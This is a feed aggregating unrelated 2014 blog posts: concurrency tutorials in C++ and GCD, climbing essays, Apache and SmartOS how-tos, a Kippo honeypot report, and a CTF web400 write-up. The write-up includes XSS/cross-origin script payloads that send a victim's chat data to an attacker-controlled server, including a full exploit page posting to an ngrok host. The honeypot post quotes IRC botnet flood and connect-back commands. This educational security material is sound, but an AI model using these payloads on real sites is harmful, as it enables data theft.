There’s nothing wrong with that. Not everyone has spare time to devote to your project, which is perfectly fine. It is natural for most people to contribute what they need to a project and then go on their way. Actually, one could argue that most projects grow and prosper precisely thanks to this kind of contributions.

However this attitude can become an incumbent when big chunks of code get merged, usually as new (big) features. Good practices advice against merging huge pull requests. In fact they are rare and when they do come, it is a good idea to ask for them to be split into smaller ones. But no matter the format, a huge contribution is likely to hit a project one day or another. It might even come from more than one person: a disconnected and distributed team of contributors who have been patiently tinkering on a side branch or a fork for example. When this happens, and provided that the contribution is worth merging, the maintainer should then ask him/herself the obvious question: am I willing to deal with the consequences of this merge?

Hiking, Beyond Earth, and Gastropoda update

Liza Shulyayeva — Mon, 20 Oct 2014 22:08:26 GMT

One cool thing about Stockholm is how easy it is to get to both a central location and a green/forested area.

The End of This Week in Podcasts

Zac Szewczyk — Mon, 20 Oct 2014 20:55:07 GMT

For just shy of the past seven months, I have written weekly roundup posts talking about my favorite medium — podcasts — and the episodes I considered the best released during that time span. Although the number of shows in each issue varied from week to week, I like to think that the quality remained constant, along with my rate of publication: with the exception of a lengthy trip to Canada’s backwoods, I have not missed a single week. It may come as a surprise, then, that today I have decided to end this series for the foreseeable future.

Permalink.

Super Source

Hrafn Thorvaldsson — Mon, 20 Oct 2014 20:33:52 GMT

A couple of days ago I read an interesting article by Pierre-Yves Ricau, an Android Software Engineer for Square, where he listed reasons for why Square has moved away from using Fragments in their Android products. In it he mentioned the ridiculous life cycle of Fragments, how it makes them at times hard to handle and even harder to test against. And I agree with him. Fragments are easy to use in smaller projects, but in my experience don’t scale linearly in difficulty as the project grows.

Concurrency: Introducing Inter-Thread Communication

Whacky Labs — Mon, 20 Oct 2014 07:53:00 GMT

Picture the scenario: You’re on the phone with your friend, when suddenly he say ‘Hey! Hold on. I think I’m getting another call’ and before you can say anything, he puts you on hold. Now, you have no idea whether to hang up, or wait. Your friend could be coming back in 3 seconds or 3 hours you’ve no idea. Wouldn’t it be great if your phone service provided you a mechanism that whenever you’re put on hold, you can freely disconnect and whenever your friend disconnects the other call, you immediately get a ring. Let’s talk about managing synchronization between threads.

On a broader level the above is a classical producer-consumer problem. Both consumer and producer are synchronized by a shared data. What we actually need is a way to communicate between the producer and the consumer. The producer needs to signal the consumer the data is ready for consumption.

So far in all our concurrency experiments whenever we’ve some shared data, we explicitly block one or more threads while one thread gets to play with the resource. The shared data here seems to be a boolean flag of some sort. But we can do better with std::condition_variable

    std::mutex mutex;
    std::condition_variable condition;

    void StartConsumer()
    {
        std::cout << std::this_thread::get_id() << " Consumer sleeping" << std::endl;
        std::unique_lock<std::mutex> consumerLock(mutex);
        condition.wait(consumerLock);
        consumerLock.unlock();

        std::cout << std::this_thread::get_id() << " Consumer working" << std::endl;
    }

    void StartProducer()
    {
        std::cout << std::this_thread::get_id() << " Producer working" << std::endl;

        std::this_thread::sleep_for(std::chrono::seconds(1));

        std::lock_guard<std::mutex> producerLock(mutex);
        condition.notify_one();

        std::cout << std::this_thread::get_id() << " Producer sleeping" << std::endl;
    }

    void StartProcess()
    {
        std::thread consumerThread(StartConsumer);
        std::thread producerThread(StartProducer);
        
        consumerThread.join();
        producerThread.join();
    }

Output

0x100ced000 Consumer sleeping
0x100d73000 Producer working
0x100d73000 Producer sleeping
0x100ced000 Consumer working

In the above code both the consumer and producer execute simultaneously in concurrent threads. The consumer waits for the producer to finish working on whatever it was doing. But instead of continuously checking for whether the producer is done as in

while (!done) {
    std::unique_lock<std::mutex> consumerLock(mutex);
    consumerLock.unlock();
    std::this_thread::sleep_for(std::chrono::microseconds(1));
}

We make use of condition variable to inform us whenever the producer is done. The producer then using notify_one() (or maybe notify_all()) sends a notification to all the waiting threads to continue.

Moving to GCD, we’ve two ways. First is to use dispatch_group.

let concurrentQueue:dispatch_queue_t = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0)
let group:dispatch_group_t = dispatch_group_create()

func StartConsumer()
{
    println("Consumer sleeping")
    dispatch_group_wait(group, DISPATCH_TIME_FOREVER);
    println("Consumer working")
}

func StartProducer()
{
    dispatch_group_async(group, concurrentQueue) { () -> Void in
        println("Producer working")
        sleep(1)
        println("Producer sleeping")
    }
}

func StartProcess()
{
    StartProducer()
    StartConsumer();
}

Output:

Producer working
Consumer sleeping
Producer sleeping
Consumer working

The first thing that you’ll notice in this code is that we start the producer code first and then the consumer waits. This is because if we start the consumer first, the queue has nothing in it to wait for.

dispatch_group is actually meant to synchronize a set a tasks in a queue. For example, you’re loading the next level in your game. For that, you need to download a lot of images and other data files from a remote server before finishing the loading. What you’re doing is synchronizing a lot of async tasks and wait for them to finish before doing something else.

For this experiment, we can better use a dispatch_semaphore. dispatch_semaphore is a functionality based on the classic semaphores concepts you must’ve learned during your college days.

let sema:dispatch_semaphore_t = dispatch_semaphore_create(1);

func StartConsumer()
{
    println("Consumer sleeping")
    dispatch_semaphore_wait(sema, DISPATCH_TIME_FOREVER)
    println("Consumer working")
}

func StartProducer()
{
    println("Producer working")
    sleep(1)
    println("Producer sleeping")

    dispatch_semaphore_signal(sema)
}

func StartProcess()
{
    StartProducer()
    StartConsumer();
}

If you look closely, we haven’t even used any dispatch_queue here. This is because dispatch_semaphore is more about synchronization than about threading.

dispatch_semaphore is basically just a count based blocking system. We just create a dispatch_semaphore object by telling it how many counts can be decremented before it blocks. Then on each wait it decrements the count and on each signal it increments the count. If the count reaches less than 0, the thread is blocked until somebody issues a signal.

Here’s another example to illustrate on using semaphores between two queues

let sema:dispatch_semaphore_t = dispatch_semaphore_create(0);
let concurrentQueue:dispatch_queue_t = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0)

func StartConsumer()
{
    println("Consumer sleeping")
    dispatch_semaphore_wait(sema, DISPATCH_TIME_FOREVER)
    println("Consumer working")
}

func StartProducer()
{
    dispatch_async(concurrentQueue) {
        println("Producer working")
        sleep(1)
        println("Producer sleeping")
        dispatch_semaphore_signal(sema)
    }
}

func StartProcess()
{
    StartProducer()
    StartConsumer();
}

Again note that we’re starting producer first, and because we initialize the dispatch_semaphore with 0, the consumer is going to block the main thread as soon as it is invoked. It won’t even give the chance to run the producer code in parallel.

Here’s the output of above code:

Producer working
Consumer sleeping
Producer sleeping
Consumer working

This is just an scratch of the surface of inter-thread communication. Most of problems with concurrency actually somehow deal with inter-thread communication. In later sessions we shall experiment more on this. The idea for this article came from the this discussion on problem of loading game data in a parallel thread and the solution I worked on.

The code for today’s experiment is available at github.com/chunkyguy/ConcurrencyExperiments. Check it out and have fun experimenting on your own.

Can You Recover From Months (YEARS!) of Not Climbing?

Josh Thompson — Mon, 20 Oct 2014 03:00:00 GMT

A few weeks ago, I headed into the gym thinking that I felt a little off-kilter. I’d not climbed in a week, I though, and maybe I was getting weaker or something. Turns out that wasn’t the problem - I had actually been climbing too much, and was feeling it. This is an odd mistake, because I’ve recently had the opportunity to end a twenty month hiatus from climbing, and I’ve felt nothing but good as I ease back into the sport.

I had felt strong when I stopped climbing in 2012, and I felt comparatively weak when I got back into a regular routine two months ago. For perspective, my max onsight dropped a full number grade, and my bouldering fell four grades. As you would expect, my “endurance” was more wishful thinking than anything else. This was all a substantial decrease in ability. That’s the bad news, and it’s just as bad for you, whenever you take a break. more

Here’s the good news - everything else I had learned while climbing I could still use (though it needed a little brushing up.) I had the footwork I had when I had climbed much stronger. I still remembered how to use dynamic movement, and pace myself while climbing. You still have these things too.

Here’s the best news - your body “remembers” what it could once do. As long as you still weigh what you once did, you should be able to re-train yourself to that level of fitness fairly quickly.

So, if you’re getting back on the horse from a long break - please don’t feel discouraged. Get after it. Be excited to be climbing again, rather than disappointed you are not climbing what you used to. You’ll be there soon enough.

ECTF-14 Web400 Writeup

Nemo's Home — Mon, 20 Oct 2014 03:00:00 GMT

We recently participated in ECTF-14 and it was a great experience. Here’s a writeup to the web400 challenge:

Problem Statement

The chat feature was added to Facelook website and to test it, founder of the company had sent a message in chat to the admin. Admin reads all the chat messages, but does not reply to anyone. Try to get that chat message and earn the bounty. [Annoying Admin]

The challenge consisted of a simple signup and a chat message sending feature, where anyone could send a chat message to anyone. However, on the loading side, the chat message was loaded using Javascript. The code for loading the messages looked like this:

function load_messages (id) {
    $.ajax({
    url: "http://212.71.235.214:4050/chat",
    data: {
        sender: id,
    },
    success: function( response ) {
        eval(response);
    }
    });
}

The url above responded as the following:

$('#chat_234').html('');$('#chat_234').append('dream<br />');

Where dream was the message I sent. My first attempt was to break out of the append function, and execute my own javascript, by trivially using a single quote. Unfortunately, the single quote was escaped and removed by the backend.

Next, I tried using ' instead of a single quote, and it worked:

Message Sent: '+alert(1)+' Message received: $('#chat_234').html('');$('#chat_234').append('dream<br />');$('#chat_234').append(''+alert(1)+'<br />');

This seemed simple enough to exploit as XSS, so I quickly wrote up my exploit:

$.get(‘/chat?sender=2’, function(data){ $.post(“http://my-server.com/ectf/index.php”, {content: data}); });

This utilized the fact that we knew Founder’s user id to be 2. The code worked perfectly fine with my test accounts, but something weird happened when the challenge server (admin) ran it. I would get a GET request on the above mentioned url, instead of a POST. Also attempting to generate the URL using concat or + or any operator such as : "http://my-server.com/index.php?data="+document.cookie made a request to http://my-server.com/index.php?data=. Anything I appended was just ignored, plain and simple.

After attempting to get a POST request with cookie or session data for a lot of time, I realized that the problem was not XSS, but rather a CSRF attack. This was because the data was being loaded in a Javascript request, instead of JSON. Javascript request (using a script tag) can be made across domains, which meant that any website could access the data by using the proper script tag. We just had to add a script tag with its src set to http://212.71.235.214:4050/chat?sender=2. This would automatically add the chat message to a div with id chat_2.

The only issue was that Admin had to visit our site, with proper cookies, and we know already that admin has been sniffing for links and visiting them. So I wrote up my second (this time working) exploit:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>ECTF14 web400 exploit</title>
</head>
<body>
  <div id="chat_2"></div>
  <div id="chat_106"></div>
  <script src="http://code.jquery.com/jquery-1.11.0.min.js"></script>
  <script>
    $(document).ready(function(){
      $.getScript("http://212.71.235.214:4050/chat?sender=2");
      setTimeout(function(){
        var text = $('#chat_2').text();
        $.post('http://20c7d53b.ngrok.com/', {content:text});
      }, 1000);
    })
  </script>
</body>
</html>

Unfortunately, the exploit did not work on Chrome because Chrome refused to run the script as javascript, because it was being served with a mime-type of text/html. It worked in firefox, and I crossed my fingers as I sent out the link to the above page to admin in a chat message. I knew admin user was using PhantomJS to run my javascript (because of the user-agent in numerous GET requests I got earlier). So, I was hopeful that this would work.

I was listening at the url, and sure enough as soon as I sent a link out to this page, admin ran my javascript and I got the flag in a POST request.

The flag was bad_js_is_vulnerable.

Learning and Curiosity

Venam's Blog — Patrick Louis (Lebanon) — Mon, 20 Oct 2014 00:00:00 GMT

About a week ago an instructor at university was asking why most students did not try the step-by-step tutorials at home, or why they didn't at least read it. He then started a speech, trying to understand us and saying that we would not be able to enter the work world easily with this mindset, and asking students what they thought of it.

Changing root password in global zone

Caius Theory — Sun, 19 Oct 2014 20:44:20 GMT

SmartOS mounts /etc/shadow from /usbkey/shadow so we can change the root password for the global zone after install. Here’s how:

Fire up a console or ssh session as root in the global zone

Check the existing permissions on the file

 $ ls -l /usbkey/shadow
-r-------- 1 root root 560 Oct 19 16:45 /usbkey/shadow

Make the file writable
```
 $ chmod 600 /usbkey/shadow
```
Fire up vi to edit the file
```
 $ vi /usbkey/shadow
```
Edit the line containing root to change the crypted password. See shadow(4) if you need help with the format of /etc/shadow & use /usr/lib/cryptpass to generate a hash for the password you desire. (Remember to clean the bash history!)
Save the file and exit vi
Make the file readonly again
```
 $ chmod 400 /usbkey/shadow
```

Double check permissions are correct on the file again

 $ ls -l /usbkey/shadow
-r-------- 1 root root 560 Oct 19 16:49 /usbkey/shadow

Job done. Verify by logging in as root (invoking /usr/bin/login from an ssh session makes this easy to verify.)

Kippo Honeypot Video Gallery

Tyblog — Sun, 19 Oct 2014 09:00:00 GMT

Honeypots are rad. Their uses are varied, but I've used my own mostly for research (and entertainment.) It's been running for over a year now, and I thought it would be worthwhile (and interesting) to summarize my findings.

This honeypot is running on one of my non-critical servers with relatively minimal exposure, so the findings contained herein could be considered a good snapshot of internet background noise – no particular reason to target my host, but a public IP and open port 22 are enough to hook quite a few bad actors.

I'll be reviewing a portion of malicious artifacts, shell activity, and related data that I've collected.

The Setup

I've got a cheap buyvm OpenVZ container running one of my subdomains for tjll.net with an open port 22. Kippo is running under a user account listening on port 2222, and an iptables rule rewrites inbound ssh packets to instead be rerouted to my kippo honeypot process.

Most connections I observe initiate then terminate almost instantaneously – whether this means that I've been logged as vulnerable and noted to be revisted later, or just a victim of simple scans, isn't clear.

The Haul

With all that being said, let's dive into the spoils!

Driving Drunk at the Shell

This one is purely for fun: I've never seen any other attacker struggle so much to issue simple commands at the terminal.

Some IP address checking via ifconfig, a ping, and an epic struggle to determine the server's hostname. No artifacts or malware here, just an amusingly-poor typist.

The Bitcoin Miner

This is a fairly new find, and only showed up recently in the honeypot: cryptocurrency miners.

Given the rising popularity of bitcoin and the ease of translating stolen CPU time into cash, I'd guess this type of malware is only going to rise (there's certainly been an increase in bitcoin-related malware.)

I did some light forensics on the miner artifact (minerd, an ELF executable) and along with some of the command-line arguments seen in the recording, found some interesting things:

A quick run of strings over minerd shows that the executable identifies itself as cpuminer 2.3.3
The hacker's invocation of minerd shows that he's connecting to 54.194.173.83:3333. After poking around that endpoint, it turns out a site called middlecoin.com is offering a fairly straightforward payout program for miners: hook in your miner with a wallet ID for a username and dummy password, and you'll get easy payouts for many disparate mining processes. It doesn't appear to be inherently malicious, just an easy endpoint to plug rogue miners into (you can actually find this specific hacker's public ID on the site, but he hasn't made much BTC, sadly.)

The Hidden /dev/shm

This one is interesting for two covert techniques that get used:

The first one I hadn't observed directly before: the attacker tries to hide in /dev/shm – makes sense, download stuff into shared memory where it'll be (relatively) transient.
Using the " " filename is also a tricky one – I've also seen files named things like .. in the past, which is similarly annoying to deal with.

The artifact in this session is (yet another) IRC bot (using psybnc), albeit thinly disguised as a binary called ntpd. The attacker also tries to retrieve a file via ftp using wget, which just fails.

The 99%: IRC Bots

This is, by far, the most common strain of malware that's landed in the honeypot. IRC botters usually follow this modus operandi:

Note that kippo does a pretty good job of faking a package installation, and ticks off the intruder with segmentation faults to the point that they just give up an quit.

Nearly every IRC bot I've collected has been perl. What this says about the masochism of hackers, I can't say (yeah, I know, it's because perl is ubiquitous), but there are some interesting trends.

There are some general IRC bot scripts that seem to be popular and reused many times. I only have a couple of unique IRC bot scripts that appear to be custom jobs, the others either carry a common banner in the header from the orginal author or identical subroutine names, configuration variables, and so on.
Many bots try to masquerading under process names such as /usr/sbin/httpd and gnome-pty-helper. Certainly implies that a simple ps isn't enough to catch malicious processes.

In any case, the variants are many as are their uses – take a look at some of the commands one of these bots accepts. The first set provides lots of different DoS options, ranging from UDP to HTTP:

## [ Flood ] ################################
#############################################
# !u @udp1 <ip> <port> <time>              ##
# !u @udp2 <ip> <packet size> <time>       ##
# !u @udp3 <ip> <port> <time>              ##
# !u @tcp <ip> <port> <packet size> <time> ##
# !u @http <site> <time>                   ##
#                                          ##
# !u @ctcpflood <nick>                     ##
# !u @msgflood <nick>                      ##
# !u @noticeflood <nick>                   ##
# !u @maxiflood    <who>                   ##
#                                          ##
#                                          ##
#############################################

This bot also accepts some utility commands, such as !u @portscan for easy remote port scanning:

#### [ Utils ] #########################
########################################
##  !su @conback <ip> <port>          ##
##  !u @downlod <url+path> <file>     ##
##  !u @portscan <ip>                 ##
##  !u @mail <subject> <sender>       ##
##           <recipient> <message>    ##
##  !u pwd;uname -a;id <for example>  ##
##  !u @port <ip> <port>              ##
##  !u @dns <ip/host>                 ##
##                                    ##
##                                    ##
##                                    ##
##                                    ##
########################################

Other bots accept similar commands and share other common traits, such as:

randomized sequences of possible IRC nicks
connection parameters (which I don't share here, but I've found… weird IRC server endpoints)
perl shudder

Conclusion

This is just a sample of the logs the honeypot has collected. As it continues to hook ssh crackers, I'm sure there will be more content to dig into, and hopefully interesting enough to summarize and share.

Maximizing in Yosemite

peanball.net — Sun, 19 Oct 2014 03:00:00 GMT

Hacking out an Openshift app

The Technical Blog of James on purpleidea.com — Sat, 18 Oct 2014 19:43:00 GMT

I had an itch to scratch, and I wanted to get a bit more familiar with Openshift. I had used it in the past, but it was time to have another go. The app and the code are now available. Feel free to check out:

https://pdfdoc-purpleidea.rhcloud.com/

This is a simple app that takes the URL of a markdown file on GitHub, and outputs a pandoc converted PDF. I wanted to use pandoc specifically, because it produces PDF's that were beautifully created with LaTeX. To embed a link in your upstream documentation that points to a PDF, just append the file's URL to this app's url, under a /pdf/ path. For example:

https://pdfdoc-purpleidea.rhcloud.com/pdf/https://github.com/purpleidea/puppet-gluster/blob/master/DOCUMENTATION.md

Screenshot Saturday 194

Evan Todd — Sat, 18 Oct 2014 03:40:33 GMT

Just a quick update this week to confirm that I am in fact alive. The iOS contract game is just about done. I'm pretty happy with it.

Now it's back to work on Lemma:

I'll be running a booth, speaking, and participating in a panel at the Ohio Game Dev Expo next weekend! Come on out and hang with us!

Letter to Two Climbers (Part 2)

Josh Thompson — Sat, 18 Oct 2014 03:00:00 GMT

Hello again, it’s me! We met climbing a few days ago. I wrote you a letter, but didn’t want to leave it on such a pessimistic note. First, I commend you both for getting out there. You both invested a lot in making that weekend happen. You acquired the correct tools, and spent money to do so. You spent time learning how to use your gear, and building the skills you needed to climb outside. You spent a lot of time driving to the crag, spending a night or two out there, and climbing for a few days. (Oh, and gas money, food, and all that.)

Now - not only did you do all those things, but you limited your other options. You could have spent that money on anything else. (Literally. That’s what’s cool about money! You can spend it for just about anything. Even weed!) You could have spent your time doing anything else. You truly had a universe of options to spend your time and your money, and you spent it on climbing. more

A lot of climbers get pretty uppity and exclusive, and I’m just as often an offender, but I sincerely thank you. Climbing’s pretty rad, and I’m thrilled to see others getting after it! (And who am I to claim exclusive rights to the sport? I’ve not done anything amazing. If all I’ve got on someone is being older or having done it longer, that’s a pretty weak case.)

I’m also quite glad you are both safe. No one wants to get injured, or watch someone get injured.

I’ve been around the block a few times, made plenty of dumb (and not so dumb) mistakes, and learned from some pretty smart people, so, please, carefully consider what I share.

If we keep a few principles in mind, we will stay safe. And, we’ll have fun. And we’ll get better at climbing.

Fear can keep you alive. Fear is a little (or big) alarm going off saying “Danger! Danger! Something bad can happen!” Last I checked, just about everything we do while climbing has the potential for disaster. We spend minutes or hours at a height where an unrestrained fall would be 100% fatal. I’d say if you don’t have an alarm bell going off, you’ve got something wrong with you. So, pay close attention to your fear. It monitors much more than your conscious attention can, and consequently picks up a lot more from your environment than you could ever consciously identify. Don’t poo poo the universe’s most impressive bit of biology giving you a warning. This would be arrogance, not bravery.
Never go too far beyond your comfort zone. Want to know what happens when you go too far beyond your comfort zone? Best case, you end up on YouTube, and everyone laughs. Worst case, you are dead. (Or very close to dead.) Public speaking can be scary, but it’s unlikely you’ll end up dead. Screwing up a technical ascent of K2 will leave you dead nine times out of ten. Sport climbing is closer to climbing K2 than it is to public speaking.
Always go beyond your comfort zone. You know what happens when you don’t go beyond your comfort zone? Nothing. And that should scare you just as much as going too far beyond your comfort zone.

That’s it for now. Soon, I’ll cover how to stay in that sweet spot of a comfort zone. Stay tuned.

Affectionally yours,

-Josh

Give Your Users a Taste of Badassery

allan.reyes.sh — Sat, 18 Oct 2014 03:00:00 GMT

Wow! I love your app because I start out completely useless. I’m fumbling up this learning curve and I have no idea what I’ll be able to do once I spend the time to master it!

— no user ever

Start your users with this feeling:

Credit: reddit

…before you start them at level 1:

Parameter ordering: Destinations on the left

Databases & Life — Sat, 18 Oct 2014 03:00:00 GMT

Most (all?) programming languages write assignment with the destination variable on the left hand side, i.e.

a = b+c;

Therefore most (all?) programmers are familiar with the destination for an operation being on the left hand side. Therefore, I think, when designing functions or commands doing copying or assignment, the result should also be on the left hand side.

Example: memcpy in C.
Counter-example (which confuses me): Array.copy in C#.

Configure Apache for PHP in OS X / macOS

Donat Studios — Fri, 17 Oct 2014 10:27:59 GMT

Every time I would upgrade OS X it took probably 45 minutes of fiddling with my Apache configuration to get it working properly. I'm writing this article in the hopes of saving myself and others some time.

The Setup

For the following examples, {username} represents your username.

Firstly, if you don't already have a Sites folder, create one in your home directory.

$ mkdir ~/Sites

Create or update /etc/apache2/users/{username}.conf to look as follows:

<Directory "/Users/{username}/Sites/">
    Options Indexes MultiViews FollowSymLinks
    Require all granted
    AllowOverride All
    Order allow,deny
    Allow from all
</Directory>

Add your virtual hosts if you don't already have them to /etc/apache2/extra/httpd-vhosts.conf

ala:

<VirtualHost *:80>
  ServerName localhost
  DocumentRoot /Users/{username}/Sites/
</VirtualHost>

Configuration

/etc/apache2/httpd.conf

Search for and uncomment the following lines:

LoadModule deflate_module libexec/apache2/mod_deflate.so
LoadModule userdir_module libexec/apache2/mod_userdir.so
LoadModule rewrite_module libexec/apache2/mod_rewrite.so
LoadModule php5_module libexec/apache2/libphp5.so

Include /private/etc/apache2/extra/httpd-userdir.conf
Include /private/etc/apache2/extra/httpd-vhosts.conf

Then around line 271 add index.php to the DirectoryIndex

<IfModule dir_module>
    DirectoryIndex index.html index.php
</IfModule>

/etc/apache2/extra/httpd-userdir.conf

Uncomment the following line:

Include /private/etc/apache2/users/*.conf

Almost Done

Restart apache

$ sudo apachectl restart

open a browser and test it out.

2014-10-17

ho.dges.online — Fri, 17 Oct 2014 03:00:00 GMT

I Surrender All

trv.rs — Thu, 16 Oct 2014 03:00:00 GMT

Jesus... Thank you for bringing a theme of surrender to my heart again and again. It's one thing to describe you as my Lord, it's another entirely put myself to death. I have been finding my mind constantly gnawing on my fears and worries and putting all my hopes in my feverishly crafted dreams and plans... And this will not do.

I have been convicted of this. My hope is in the you, to bury the bones of my past, to deal with my fears of the present, and to bring me safely into a future more wonderful than my mind can now imagine. All it takes is for me to wrestle my screaming ego to the ground and force it to stop trying. Turns out this surrender is hard work.

Heavenly Father, you know all the issues of my heart, because you made me. You placed some of those desires and plans there, but I have allowed them to be unruly and placed them on the throne of my life. Come conquer, subdue, and redeem them as I confess them one by one, so that I can find daily rest in the fact that the lover of my soul is in command of the cosmos. Be near to me today. In Jesus' peace-giving name, amen.

The ongoing saga of snail mating decisions

Liza Shulyayeva — Wed, 15 Oct 2014 00:40:32 GMT

I’ve written about snail breeding here before, at length. However, since I now want snail behavior to go through the brain I had to rework the trigger that led to two snails mating and producing offspring. A few different things had to be prototyped to make this work, especially because in a snail’s mind there is no real way of distinguishing food from another snail without learning from experience and some basic instincts to guide the way.

Wiry: An Open Source Wireframe

Sam Solomon — Tue, 14 Oct 2014 03:00:00 GMT

Wiry is an open source wireframe template for agencies an freelancers.

Quickly Transferring Files In Linux: Transfer files intellegently with RSync

Joshua Rogers — Mon, 13 Oct 2014 15:00:00 GMT

This weekend I spent some time migrating my Minecraft server a good 700 miles closer to my house. The new server is ~30 milliseconds closer. If you play games, you probably know how huge that can be. So, how did I move data to the new server? FTP, right? No. Definitely no. Why not FTP? FTP is plain-text Unless you're using something like FTPS, you'll be sending your server credentials across the wire in plain text, so anyone sitting between you and your new server has all the info they need to login.

Cascade Mountains Excursion

Zac Szewczyk — Mon, 13 Oct 2014 11:03:30 GMT

Once again, another great photo essay from Gear Patrol, this time on the Cascade Mountains rather than South Africa’s Sabi Sands game reserve. I’ll add this to the ever-growing list of places I would love to visit. Someday, always someday.

Permalink.

Concurrency: Thread-safe Singletons

Whacky Labs — Sun, 12 Oct 2014 21:32:00 GMT

Love them or hate them, you just can not ignore singletons. Let’s try experimenting with singletons and concurrency.

Singletons are objects that you wish to have only a single instance all over your program lifecycle. Usually, you want to create singleton objects lazily. Here’s a typical way you can create a singleton in a single threaded application.

class Library {
public:
    static Library *SharedInstance()
    {
        if (!shared_) {
            shared_ = new Library();
        }
        return shared_;
    }

    static void Dealloc()
    {
        if (shared_) {
            delete shared_;
        }
    }
    
    Library() :
    books_({
        {"Ernest Hemingway", "Old man and the sea"},
        {"Aldous Huxley", "Brave new world"},
        {"Aldous Huxley", "The Genius and the Goddess"},
        {"Aldous Huxley", "Antic Hay"},
        {"Salman Rushdie", "Midnight's children"},
        {"Fyodor Dostovesky", "Crime and punishment"},
        {"Boris Pasternak", "Doctor Zhivago"},
        {"Bernard Shaw", "Arms and the Man"},
        {"Bernard Shaw", "Man and Superman"}
    })
    {
        std::cout << "Library " << this << std::endl;
    }

    ~Library()
    {
        std::cout << "~Library " << this << std::endl;
    }

    std::vector<std::string> GetBooks(const std::string &author) const
    {
        typedef std::multimap<std::string, std::string>::const_iterator BookIt;

        std::pair<BookIt, BookIt> range =  books_.equal_range(author);
        std::vector<std::string> bookList;

        for (BookIt it = range.first; it != range.second; ++it) {
            bookList.push_back(it->second);
        }

        return bookList;
    }

    std::size_t GetSize() const
    {
        return books_.size();
    }

private:
    std::multimap<std::string, std::string> books_;
    static Library *shared_;
};

Library *Library::shared_ = nullptr;

void PrintBooks(const std::string &author)
{
    std::cout << "Searching for author: " << author << std::endl;
    std::vector<std::string> list = Library::SharedInstance()->GetBooks(author);

    std::copy(list.begin(), list.end(), std::ostream_iterator<std::string>(std::cout, "\n"));
}

void PrintSize()
{
    std::cout << "Library Size: " << Library::SharedInstance()->GetSize() << " books" << std::endl;

}

When invoked with:

void SerialImpl()
{
    std::string searchAuthor("Aldous Huxley");
    PrintBooks(searchAuthor);
    PrintSize();
}

void ThreadsafeSingleton_main()
{
    SerialImpl();
    Library::Dealloc();
}

We get

Searching for author: Aldous Huxley
Library 0x100a6bfe0
Brave new world
The Genius and the Goddess
Antic Hay
Library Size: 9 books
~Library 0x100a6bfe0
main() exit

We see that our singleton actually gets created lazily when actually required and also gets deallocated when the program finally quits, thanks to the Dealloc() function.

Next, lets try calling it from multiple threads.

void ConcurrentImpl()
{
    std::string searchAuthor("Aldous Huxley");
    std::thread bookSearchThread(PrintBooks, std::ref(searchAuthor));
    std::thread libSizeThread(PrintSize);

    bookSearchThread.join();
    libSizeThread.join();
}

This might actually work or not depending on how the threads are switching on your machine. To see what is problem with this code, let’s deliberately sleep the thread while creating the singleton instance.

    static Library *SharedInstance()
    {
        if (!shared_) {
            std::this_thread::sleep_for(std::chrono::seconds(1));
            shared_ = new Library();
        }
        return shared_;
    }

Now, if you run it you might see two instances of Library objects getting created.

Searching for author: Aldous Huxley
Library Size: Library 0x100b84fe0
Brave new world
The Genius and the Goddess
Antic Hay
Library 0x100ba4fe0

9 books

~Library 0x100ba4fe0

main() exit

There are two problems here. First of all, we’ve two instances of the Library object and second, because our Dealloc routine depends on the guarantee that at any given moment we have a single instance of the Library object, so the other Library object never gets released. This is a classic example of a memory leak.

We can solve this issue with two techniques. First is using the C++11’s static initialization.

Let’s modify our Library class and instead of creating the singleton at heap, we create a static instance of a Library object.

static Library &SharedInstance()
{
    static Library lib;
    return lib;
}

And modifying our calls

void PrintBooks(const std::string &author)
{
    std::cout << "Searching for author: " << author << std::endl;
    std::vector<std::string> list = Library::SharedInstance().GetBooks(author);
    std::copy(list.begin(), list.end(), std::ostream_iterator<std::string>(std::cout, "\n"));
}

void PrintSize()
{
    std::cout << "Library Size: " << Library::SharedInstance().GetSize() << " books" << std::endl;
}

If we now run our code, we get

Searching for author: Aldous Huxley
Library 0x10006d3c8
Brave new world
The Genius and the Goddess
Antic Hay
Library Size: 9 books
main() exit
~Library 0x10006d3c8

This works because with C++11 we’re now guaranteed to have the static variables created thread-safely. Another benefit with this approach is that we don’t have to implement any Library::Dealloc() function as static data gets deallocated automatically by the runtime. If this satisfies your requirements, this is best way out.

But, this won’t be the best fit for some cases. Say, you want to have Library singleton object only in heap memory. Also, if you’re using Objective-C this won’t work as you’re not allowed to allocate memory of custom objects on the stack. This brings us to our second method: Using C++ thread library.

Let’s switch back to our original implementation, with Library object in heap memory. The first thing that we can try is using mutex.

    static Library *SharedInstance()
    {
        std::lock_guard<std::mutex> lock(mutex_);

        if (!shared_) {
            std::this_thread::sleep_for(std::chrono::seconds(1));
            shared_ = new Library();
        }

        return shared_;
    }

And this works as expected:

Searching for author: Aldous Huxley
Library Size: Library 0x100b92fe0
Brave new world
The Genius and the Goddess
Antic Hay

9 books

~Library 0x100b92fe0

main() exit

The only problem with this code is that Library::SharedInstance() is going to be called from plenty of places, and this code unnecessary lock and unlock the mutex at each call. What we actually need it the mutex only for cases when the single instance has not been created, all other times we can just simple pass the pointer back. This brings us to the infamous double checking lock design.

    static Library *SharedInstance()
    {
        if (!shared_) {
            std::lock_guard<std::mutex> lock(mutex_);
            if (!shared_) {
                std::this_thread::sleep_for(std::chrono::seconds(1));
                shared_ = new Library();
            }
        }

        return shared_;
    }

This code looks great right? It applies the mutex only when creating the shared instance, every other time it just returns the pointer. But this has a serious bug. This code would work almost all the time, except when you’ve forgotten about it. It’s so hard to debug that you probably can’t even simulate the issue in the debug environment and unfortunately you won’t ever see this bug again for probably a million clock cycles. This sounds like a programmer’s nightmare right?

Suppose you’re running this code with two thread ‘bookSearchThread’ and ‘libSizeThread’. bookSearchThread comes in and sees the shared_ is NULL. It would acquire the lock and start allocating and initializing the instance. bookSearchThread is half-way done, it has allocated a space in the heap, so the shared_ isn’t NULL anymore, but bookSearchThread is not done initializing the instance yet, just the allocation. Something like in Objective-C as:

Library *shared = [[Library alloc] init];

Suddenly, the thread switching happens and libSizeThread comes in. It sees the shared_ isn’t NULL. It says OK, good somebody must have already created this instance, lets use it straightaway. This could result in undefined behavior, as libSizeThread is now using an object that isn’t actually fully initialized.

This is such a great problem that almost every thread library provides a way to make this work. In C++11, we can use the std::call_once

class Library {

private:
    static std::once_flag onceFlag_;

    /* other data members */
public:
    static Library *SharedInstance()
    {
        std::call_once(onceFlag_, []{
            std::this_thread::sleep_for(std::chrono::seconds(1));
            shared_ = new Library();
        });

